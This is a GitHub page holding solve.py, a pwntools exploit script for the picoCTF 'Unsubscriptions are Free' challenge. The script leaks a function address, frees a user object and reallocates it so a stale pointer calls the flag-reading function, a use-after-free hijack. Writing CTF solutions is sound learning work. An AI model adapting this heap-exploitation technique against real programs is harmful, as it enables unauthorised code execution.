-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsolve.py
executable file
·121 lines (88 loc) · 2.83 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python3
'''
WhatTheFuzz's submission for the Unsubscriptions are Free challenge on picoCTF.
This script can be used in the following manner:
python3 ./solve.py <REMOTE/LOCAL>
Args:
param1: LOCAL will operate locally on the user's machine.
REMOTE will connect to the CTF webserver and grab the flag.
If no parameter is specified, the program will default to LOCAL.
GDB will operatore the program locally inside of a debugger. I am
assuming you have `pwndbg` installed for my commands to work.
Returns:
The flag to solve the challenge.
'''
from pwn import *
exe = ELF("./vuln")
context.binary = exe
context.log_level = 'info'
context.terminal = ['gnome-terminal', '-e']
GDB_COOMMAND = '''
# Part 1
b free
b malloc
# free the user.
continue
# malloc the message.
continue
# note that the address of the user is in the tcache.
bins
# Part 2
finish
# examine what was returned from malloc.
p/x $eax
# see that there is nothing in our heap bins.
bins
'''
def conn():
'''Establish the connection to the process, local or remote.
'''
if args.get('REMOTE'):
conn = remote("mercury.picoctf.net", 48259)
else:
conn = process([exe.path])
if args.get('GDB'):
log.info('Attaching debugger.')
gdb.attach(target=conn, gdbscript=GDB_COOMMAND)
return conn
def send_command(conn, command):
'''Send a line to the server to interpret as a command.
'''
conn.sendlineafter(delim=b'(e)xit', data=command)
if command == b'I':
conn.sendlineafter(delim=b'You\'re leaving already(Y/N)?', data=b'Y')
log.debug('User freed.')
def get_ptr_to_hahaexploitgobrrr(conn):
'''The address of the function that reads the flag, `hahaexploitgobrrr`, is
leaked when we send 'S'.
Arguments:
conn: The connection to the local or remote process.
Returns:
The address of hahaexploitgobrrr.
'''
# Send the command to subscribe.
send_command(conn, b'S')
# Get the line which has our leaked address.
ptr = conn.recvline_containsS(b'0x')
# Narrow it down to just the address, nothing else.
ptr = ptr.partition('...')[2]
ptr = int(ptr, base=16)
log.info(f"Address of hahaexploitgobrrr: {hex(ptr)}")
return ptr
def main():
'''Return the flag.
'''
r = conn()
# Subscribe to the channel and in doing so, get the leaked address.
hahaexploitgobrrr = get_ptr_to_hahaexploitgobrrr(r)
# Delete our user.
send_command(r, b'I')
# Leave a message.
send_command(r, b'L')
# Set the message to be the address of our function to read the flag.
r.sendlineafter(b'try anyways:', p32(hahaexploitgobrrr))
flag = r.recvline_contains(b'picoCTF')
log.success(f'The flag is: {flag.decode()}.')
return flag
if __name__ == "__main__":
main()